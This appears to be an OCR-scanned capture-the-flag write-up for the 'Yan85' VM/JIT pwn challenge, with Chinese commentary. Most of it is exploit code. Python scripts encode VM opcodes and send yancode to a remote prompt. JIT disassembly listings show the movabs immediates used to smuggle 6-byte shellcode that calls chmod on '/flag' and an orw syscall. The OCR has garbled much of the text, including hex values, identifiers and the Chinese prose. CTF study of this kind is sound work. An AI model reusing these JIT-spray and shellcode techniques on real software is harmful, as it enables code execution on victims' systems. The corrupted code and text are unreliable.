108 "STM": Ox80,
109 "LDM": Ox1,
110 "CMP": 0x2,
111 "IMP": Ox40,
112 "SYS": 0x10
113 }

114

115 vm_reg = {

116 "a": Ox8,
117 "b": 0x10,
118 "'c": Ox40,
119 "d": 0x20,
120 "s": Ox2,
121 "i': Ox4,
122 "f:oox1,
123 "NONE": 0Ox0
124 }

125

126 vm_jmp={

127 "L": Ox8,
128 "G": Oxl1,

129 "E": 0x2,



130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156

"N": Ox4,
"Z": 0x10,
Ox0

My ll.

vm_byteorder = {

llopll 0 l’

"argl":0,

"arg2":2

vm_syscall = {

"orw":

Ox1c

set85(vm_op, vm_reg,syscall=vm_syscall,jmp=vm_jmp, byteorder=vm_byteorder)

sh += "nn

SYS 0Oxl1lc d

shellcode =

asm85(sh)

ru("Please input your yancode:")
sl(shellcode)

itr()

11 JIT4RiERIVM (Yan85_64)
2£1ET SYS FI& fBkEE

A=
B~ &E

1Byte YN —1qword, BJUERRRICIREE ARG HREBIRp64LIET

Tl —TEMELHEX

0o N o a0~ W N

sh = "
IMM a oxff
IMM b 0x80
IMM c 0x0
IMM d 0x0
IMM s 0Ox1
IMM i 0x0
STK a NONE



S
10

10
11

12
13

14
15

16
17

18
19

20
21

22
23

STK NONE d
JMP * b

Address
Instructions

Ox0000000001337000
rio, o
Ox000000000133700a
rii, O
Ox0000000001337014
ri2, 0
Ox000000000133701e
ri3, 0
Ox0000000001337028
ri4, O
0x0000000001337032
ris5, o
Ox000000000133703cC
ro, 0
Ox0000000001337046
Ox000000000133704d
ri0, oxff
Ox0000000001337057
Ox000000000133705e
ril, Ox80
Ox0000000001337068
0x000000000133706f
ri2, 0
OXx0000000001337079
Ox0000000001337080
ri3, o
Ox000000000133708a
Ox0000000001337091
ri4, 1
Ox000000000133709b
Ox00000000013370a2
ris5, o
OXx00000000013370ac
Ox00000000013370b3
ri4

49

49

49

49

49

49

49

49
49

49
49

49
49

49
49

49
49

49
49

49
ad

ba

bb

bc

bd

be

bf

b9

c7
ba

c7
bb

c7
bc

cT
bd

cT
be

cT
bf

cT
89

00

00

00

00

00

00

00

cl
ff

cl
80

cl
00

cl
00

cl
01

cl
00

cl
fo

00

00

00

00

00

00

00

00
00

01
00

02
00

03
00

04
00

05
00

06

00

00

00

00

00

00

00

00
00

00
00

00
00

00
00

00
00

00
00

00

00

00

00

00

00

00

00

00
00

00
00

00
00

00
00

00
00

00
00

00

00

00

00

00

00

00

00

00
00

00
00

00
00

00
00

00
00

00
00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

movabs

movabs

movabs

movabs

movabs

movabs

movabs

mov r9,

movabs

mov r9,

movabs

mov r9,

movabs

mov r9,

movabs

mov r9,

movabs

mov r9,
movabs

mov r9,

mov r8,



24

25

26

27

28
29

30

31

32

33

34
35

36

37
38

56

40

41

42

43

44

45

46

B]4H a,b,c,d,s,i ¥R r10,r11,r12,r13,r14,rl5, rOR5< 1488, rSRIGIRS1EEE

0x00000000013370b6 |
rax, Ox7ffc285a0320
0x00000000013370cO |
rax
0x00000000013370c3 |
gword ptr [r8]
0x00000000013370c6 |
8
0x00000000013370ca |
0x00000000013370d1 |
8
0x00000000013370d5 |
ri4
0x00000000013370d8 |
rax, Ox7ffc285a0320
0x00000000013370e2 |
rax
0x00000000013370e5 |
gword ptr [r8], ri13
0x00000000013370e8 |
0x00000000013370ef |
ril
0x00000000013370f2 |
ro
0x00000000013370f5 |
0x00000000013370f9 |
rax, Ox7ffc285a0b28
0x0000000001337103 |
rax
0x0000000001337106 |
gword ptr [r8]
0x0000000001337109 |
rax, 0x1337000
0x0000000001337113 |
rax
0x0000000001337116 |
0x0000000001337119 |
0x0000000001337120 |
Oxa
0x0000000001337127 |
Oxb

IENERIE: MR EEmovittE
Push &kt Flrax, AEs+=8, r8+=rax FZA[r8], popRiIRK

48

49

4d

49

49
49

4d

48

49

4d

49
4d

4d

49
48

49

4d

48

49

41

49

49

49

b8

01

8b

83

c7
83

89

b8

01

89

cT
89

89

cl
b8

01

8b

b8

01

ff

c7

c7

cT

20

cO

10

€e

cl
c6

fo

20

cO

28

cl
do

c8

el
28

cO

00

00

cO

el

cl

cl

cl

03 5a 28 fc 7f 00 00

08

07 00 00 060
08

03 5a 28 fc 7f 00 00

08 00 00 00

03
0b 5a 28 fc 7f 00 00

70 33 01 00 00 60 00

09 00 00 006
Oa 00 00 00

Ob 00 00 00

movabs

add r8,

mov rl0,

sub ri4,

mov r9, 7
add ri4,

mov r8,

movabs

add r8,

mov

mov r9, 8

mov r9,

mov r8,

shl r8, 3
movabs

add r8,
mov r8,
movabs
add r8,
jmp r8
mov r9, 9

mov r9,

mov r9,



Jmp BXBir&E 72 5Ir8, LAr8{EAoffsetFHEFEIE<LjumptableXt YR E, EXEIERIZGMEIIT
codeMVitetasAFE Bk ES

AR EIMRRM B RENAEE25T N qword, MREERRREEE, AIUERTE,

Arch: amdée4-64-1ittle
RELRO: RELROC

Stack:

NX:
PIE:

E—IR{RIF:

FEeREEIR L, 3E JT SprayT, MEFFSRNHEEF Amovabsty, BERERK(1EELIESHESB
=il A AL BRE—MEXTBEIE 2D, B 6byteg &
AT ERHERIESEE— Tk RE, AEMWiEshellcode payload/mi3EIIEN#EmE, THIBkE:
PATRAAI LY
E2FTchmod, orw XK T REFIt:-)

O© 0o N o u b W N B

N NN NNNNNRRRRBRRER B B B
N~ 0O U0 A W N R GG O N U N~ WNRH O

from pwnheader import *

from yan85 import =

context.log_level = "info"

sc = '"nn
XOor eax,eax
Xor esi,esi
mov al, 90
jmp $+2+9

mov si, 292
push ri12
jmp $+2+9

mov rdi, rsp

syscall

asc = asm(sc)

print(disasm(asc))

sh = mmn

IMM a 0OxcO
IMM a Oxcl
IMM a 0Oxc2



28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

IMM a 0xc3

IMM a 0Oxc4

IMM a 0Oxc5

IMM a Oxc6

IMM a Oxc7

IMM a 0xc8

IMM a 0xc9

IMM a Oxca

IMM a Oxcb

IMM a Oxcc

IMM a Oxcd

IMM a Oxce

IMM a Oxcf

IMM s 0xdo6

IMM d ox4f

STK NONE d

IMM c Oxdl

IMM b 0x0

JMP x b

nn

# p = sta(ll, 0)
# vm_op = {

# "IMM": 0x20,
# "ADD": 0x1,
# "STK": 0x8,
# "STM": 0x10,
# "LDM": 0x2,
# "CMP": 0x40,
# "IMP": Ox4,
# "SYS": 0x80
# }

# vm_reg = {

# "a': Ox1,

# "b": Ox2,

# "'c!": 0x40,
# "d": Ox4,

# "s': 0x20,
# "j'": Ox8,

# "fr: 0x10,
# "NONE": 0x0
# }



75 # vm_byteorder = {

76 # "op'":0,

7 # "argl":1,

78 # "arg2'":2

79  # }

80

81 # set85(vm_op, vm_reg, byteorder=vm_byteorder)
82

83 # ru('"Please input your yancode: ")

84 # shellcode = asm85(sh)

85 # # sh64 = b''.join([p64(shellcode[7i]) for i 1in
range(len(shellcode))]). ljust(0x1800, b'\x00")

86 # sh64 = b''

87

88 # imm_maps = {

89 # Oxdo: 2048,

90 # Oxdl: Ox67616c662f1

91 # }

92 # asc = asc.ljust(8+16, b'\x00')

93 # for 7 in range(16):

94 # imm_maps[OxcO + 7] = ub4(asc[i*8:7*8+8])

95 # for 7 in range(len(shellcode)) :

96 # if(shellcode[7] in imm_maps) :

97 # shé64 += p64 (imm_maps[shellcode[7]])

98 # else:

99 # shé4 += p64(shellcode[7])
100 # sh64 = sh64.ljust(0x1800, b'\xe0')
101 # sl(sh64)

102

103 p = sta(1l1,1)
104

105  wvm_op = {

106 "IMM": Ox1,
107 "ADD": 0x10,
108 "STK": 0x20,
109 "STM": Ox8,
110 "LDM": 0Ox4,
111 "CMP": Ox2,
112 "IMP": Ox40,
113 "SYS": 0x80
114 }

115

116 vm_reg = {

117 "a": Ox4,
118 "b": Ox2,
119 "c": 0x8,

120 "d": 0x10,



121 "s': Ox40,

122 " 9x20,
123 IO
124 ""NONE": 0Ox0
125 }

126

127  vm_byteorder = {
128 "op":0,

129 "argl'":1,
130 "arg2":2
131}

132

133  set85(vm_op, vm_reg, byteorder=vm_byteorder)
134

135 ru("Please 1input your yancode: ")

136 shellcode = asm85(sh)

137 # sh64 = b''.join([p64(shellcode[7]) for i in
range(len(shellcode))]). ljust(0x1800, b'\x00")

138 sh64 = b''

139

140  dmm_maps = {

141 Oxdo: 2048,

142 Oxdl: Ox67616c662f
143 }

144 asc = asc.ljust(8x16, b'\x00")
145 for i in range(16):

146 imm_maps[0xcO® + i] = ub4(asc[ix8:1x8+8])
147  for i in range(len(shellcode)):

148 if(shellcode[i] in imm_maps):

149 sh64 += p64(imm_maps[shellcode[i]])
150 else:

151 sh64 += p64(shellcode[i])

152  sh64 = sh64.1just(0x1800, b'\x00")
153 sl(she4)

154
155  dtr()
156 cf()
t\
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